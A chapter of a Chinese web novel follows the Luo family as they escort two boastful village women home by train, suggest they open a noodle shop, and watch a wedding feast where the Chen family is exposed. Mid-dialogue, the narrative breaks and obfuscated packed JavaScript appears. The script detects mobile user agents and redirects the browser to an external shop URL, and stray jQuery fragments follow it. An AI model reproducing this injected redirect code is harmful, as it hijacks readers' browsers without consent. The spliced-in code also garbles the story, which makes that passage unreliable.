“要不是你这孩子胡说……神通广大算到家里那俩王八蛋在外面养小的,还装混的不好一分钱不给家里寄,大娘和小丽哪会专程跑来鹏城撞破他们的丑事?只要他们爷俩还惦记着阔了回老家显摆,死了能进祖坟,怕村里人知道丑事戳他们的脊梁骨,我们就能一直过着男人死了但偶尔诈.尸寄钱回来的好日子!”

    婆媳俩一看就像大户,已经吸引了不少人的注意伺机而动抢劫呢,她们吓死了,看到骆枝几个眼睛瞬间亮了,匆匆跑来帮忙是为了寻求骆秋庇护的,顺带感谢骆松的好心提醒。

    骆枝没想到一向抠门的婆媳俩阔气到给他们三个升了软卧包厢,一路上听婆媳俩翻来覆去说来了鹏城开了眼界,买了什么逛了哪里,狮子大开口问那父子俩要了三万块,以后每月固定寄来两千,不然就在村里大喇叭宣传他们的好事。兄妹俩安静吃婆媳俩送的吃食,坐在床铺上脑袋挨在一起嘀嘀咕咕。

    “妹,知道那父子俩为啥老老实实给钱,这婆媳俩咋支棱起来的不?”

    周婶子和小丽没说那些腌臜事嫌丢人,也怕给小孩子带来不好的影响,但这事吧越不说外人越想刨根问底,骆松这话一出,背对着兄妹俩坐的骆秋和贺严上身后倾,也竖起耳朵来。

    “那父子俩本就身子骨不太行,子嗣单薄,父子俩都是独苗苗,到了下面,小丽婶子婚后七年也只生了一个男娃,医生说这是奇迹。

    这父子俩去了鹏城有了花花心思,俩小三双双怀孕,父子俩多疑,果然查出来蛛丝马迹,孩子压根不是他俩的!是他们手底下一个叫阿强的小工头的,三人联合起来做局!被查出来后周大爷没控制住脾气,把其中一个小三推倒在地留了不少血,那个阿强讹了父子俩不少钱,父子俩不给不行啊,阿强有不少混混兄弟,能把他们的丑事传遍整个鹏城,让他们混不下去!”

    婆媳俩过去刚好赶上了一场大戏,拿捏住了父子俩的把柄,事情处理完,把两人挠了个大花脸,父子俩的钱做局的人能讹,她们当正经老婆的要不得?父子俩经过这一遭哪敢还有花花肠子,可不婆媳俩顺势支愣起来了!

    骆松压着声音说话,说到激动的时候就捏手里买的玩具咕咕鸡,对面软卧的婆媳俩唾沫横飞炫富呢,每当鸡打鸣的时候两人的嗓门自动跟着拔高,两边说话的人都是越说越激动。

    骆秋和贺严注意力放在吃瓜上面,因此炫富婆媳俩得不到良好的反馈,心里不是滋味,干脆坐过来拉着一家四口的手近距离说。

    “小秋,你摸摸婶子的大金链子,这可是纯金的!不是包金水货,婶子这辈子还没这么阔气过呢,你年轻,你到了婶子的年纪……哎呦,你男人说话不利索,门都不爱出,老爱跟在你和几个娃屁股后面,怕是没这么出息了,要婶子说啊,你这容貌就该嫁个有钱的大老板,什么煤老板啊,做买卖之类的暴发户……”

    “小秋,我婆婆说得对,你啊就是命苦,想当年你可是十里八乡一枝花,爹娘是猎户,之后去了民兵队,你哥哥当了兵,去你家提亲的门槛都能给踏破了,后来他们意外没了留你一个人,孤零零的只能找个没良心的知情当上门女婿,后来人家丢下你和孩子返城了,你和严哥搭伙过日子,两人苦到一起了……”

    兄妹俩上前把那两人的手扒拉开,板着脸护在他们爸妈面前。

    “周大娘,小丽婶子,你俩咋好一阵坏一阵?人一阵鬼一阵儿的?我爸爸妈妈夫妻感情好,我妈妈就喜欢我爸爸这样老实本分一心守着她的,你俩嫁的好就成了,管别人干啥?婚姻这东西,如人饮水冷暖自知,你俩心里头不定多苦呢,所以见不得我们家好。”

    骆枝平时说话和和气气的,那婆媳俩觉得五个孩子里她最好拿捏,没想到现在成了个小刺头专往她们心上扎!婆媳俩是有那么点酸骆秋过的好,但嘴巴坏实际没多少坏心,现在觍着脸赔不是。

    “周大娘,小丽婶子,看在你们认错态度勉强诚恳,给我们升了铺位送了零食的份上,我们不计较了,会护送你们平安回到骆家村的。我爸妈在,没人敢抢劫你们的东西。”

    “我哥说的没错,但你们最好别炫富,我们不眼红不代表村里其他人不眼红。据我所知,你们俩的嘴几乎把半个村的人都得罪了。”

    婆媳俩过了一路当富婆的瘾,上厕所或者买饭的时候摘下来金贵东西,紧紧跟在骆枝一家身后行动,回到包厢再戴上,也不嫌累的慌。回到京市,朱大佑和王芸开了车来接,朱家兄弟也开着拉菜的货车等在边上,帮忙提着好几大包衣服顺道拉到摊位。

    “也就是你们两口子有能耐背回这么多衣服,要我真不行!扛不动,挑衣服也没那个眼光。”

    王芸喜欢骆枝,那手帕给她擦汗,大家站在车边寒暄,周家婆媳怀里抱着包老老实实站在旁边,跟哑巴似的没出声打断,两人脸臊的慌,原来骆枝一家搬到京市认识了开小汽车的好朋友,她们可没听人家炫耀过!

    “这是……”

    骆秋随口说碰到的同乡,等会儿蹬三轮送她们回骆家村,朱大佑和王芸随即主动开口帮忙送一程。婆媳俩头一次坐上小汽车,手脚拘谨地都不知道怎么放,听到骆枝和那个朱大户侃侃而谈这生意那生意的,突然想用本钱也做点生意,谁能知道以后那父子俩靠不靠得住。

    “周家婶子,那你打算给小枝多少钱啊?她给我家老朱提了个更赚钱的好主意,我们打算给她一千元的咨询费和设计费。”

    王芸不是玩虚的,直接从包里拿出一个装着一千元的厚信封塞到骆枝手里,她心里跟明镜似的,这婆媳俩和骆枝一家关系不怎么样。她记起聚餐的时候骆松随口抱怨了一句他好心说句大实话却被两人追着揍,现在这婆媳俩是信了跑去鹏城摊上好事打扮的跟贵妇似的,结果拿点小恩小惠就打发了,现在还想占便宜。

    “我们有钱!当然不占便宜,也给一千!”

    周大娘把包打开,婆媳俩头对头数了一千,数了五遍,一脸肉疼地塞给骆枝。

    “小枝啊,大娘抠门了大半辈子,就大方这么一回,你可别让大娘赔的裤衩都没喽~”

    “周大娘,你和小丽婶子当年在大队食堂做过面条,听大家说手艺一绝,不如在城里开个面馆,浇头弄多点,什么酸菜肉丝、西红柿鸡蛋、香菇鸡丁等等。这一千我也不白要你的,你确定好做哪几种面告诉我们,我三哥给你花宣传画报,面馆里面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745936|209246||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    具体设计我给你花张设计图,我要是信得过我们家,我爸妈来给你装修,当然这得另算工钱,看在同乡的份上可以打折!”

    周大娘和小丽懊恼自己咋没想到,平白让别人赚了一千,但想想什么宣传画报、明厨亮灶、面馆里面刷墙颜色还有讲究,她们可啥也不懂,又觉得钱花的值。

    送周家婆媳到银行存了钱回到骆家村,折返路上,骆枝要把那一千元还给王芸,但她怎么也不肯收,推来让去骆枝见天色不早了,干脆去动批接上其他人到东来顺吃涮羊肉,她这个小暴发户请客!

    *

    很快到了周日这天,陈家办酒席,在大杂院办了好几桌。陈样下午五点刚从派出所放出来,挂着俩黑眼圈消瘦憔悴了不少,匆匆换了结婚的衣服,瞧着没多少喜色,和陈小云敬完酒后他坐下来猛吃,跟饿死鬼投胎似的。

    “也不知道张家姐姐和小梅姐那边怎么样了……”

    骆椿蹙眉,看到陈样这种渣滓热热闹闹三婚觉得真是不公平!

    “嘿嘿,今儿陈家有热闹瞧喽!大批人马即将抵达,陈家老两口不光得还回去彩礼和生活费,还得赔一笔钱呢!”

    五兄妹掐着点拉上骆秋和贺严往家赶,现在把长凳搬到屋外,老家种了西瓜,现在一人抱着半颗西瓜挖着吃。家里后院厕所和洗澡间搭好了,屋前靠墙位置小厨房和车棚也弄好了,一家人在大杂院彻底安顿下来,生活有滋有味,电风扇在门口呼呼吹着,外面热,他们头顶还专门撑了一把超大号伞。

    没十分钟,张巧玲和李小梅两家人来了,还有妇联主任,医院主任等不少工作人员。

    “放屁!是不是她们两家花钱收买你们这么说的?大喜的日子给我们老陈家添堵,吓着我乖孙怎么办?”

    陈老太叉着腰,瞪着三角眼骂街,还打算拿扫帚把晦气的人赶出去,医院诊断不认,妇联的人当假冒的,即便真的也说她们咸吃萝卜淡操心。

    “那就叫公安来!报社的人也叫来!”

    妇联主任没见过这么泼的老太婆,蹙眉拍了拍身上的土,做出决定,这事她管定了!

    陈老头慌了,赔笑过来要仔细看看医院诊断以及妇联给出的赔偿细则,他眉头皱的能夹死苍蝇,悄悄给陈老太使眼色,点了点手上的纸。

    “快抢回文件!这俩老货坏的很,要吃到肚子里了死不认账!”

    陈老头的心思被戳穿,陈老太手一挥,陈家三个儿子还有回家吃席的俩女儿上前抢,张巧玲、李小梅两家假装上去夺,实际是趁机出心中的恶气,包括李明这个李家未来女婿也上去暴揍陈家人。

    “陈家人全是蠢蛋,人家那文件不得一式好几份?就算只有这一份,他们抢了吃到肚子里,明摆着的事实在那里,再开一份有什么难的?”

    骆松把半个大西瓜掏干净扣在骆枇刚剃的小光头上,顺便给陈家人安了蠢蛋的名头。

    “陈家人明抢证据还敢动手打人了!打的还是妇联和医院的工作人员!普天同庆,他们一家蠢蛋要齐齐进去了!”

    骆枇顶着瓜皮帽站在长椅上,看到呼啦啦一群穿制服的公安以及报社记者扛着摄像机来了,他大吼一嗓子。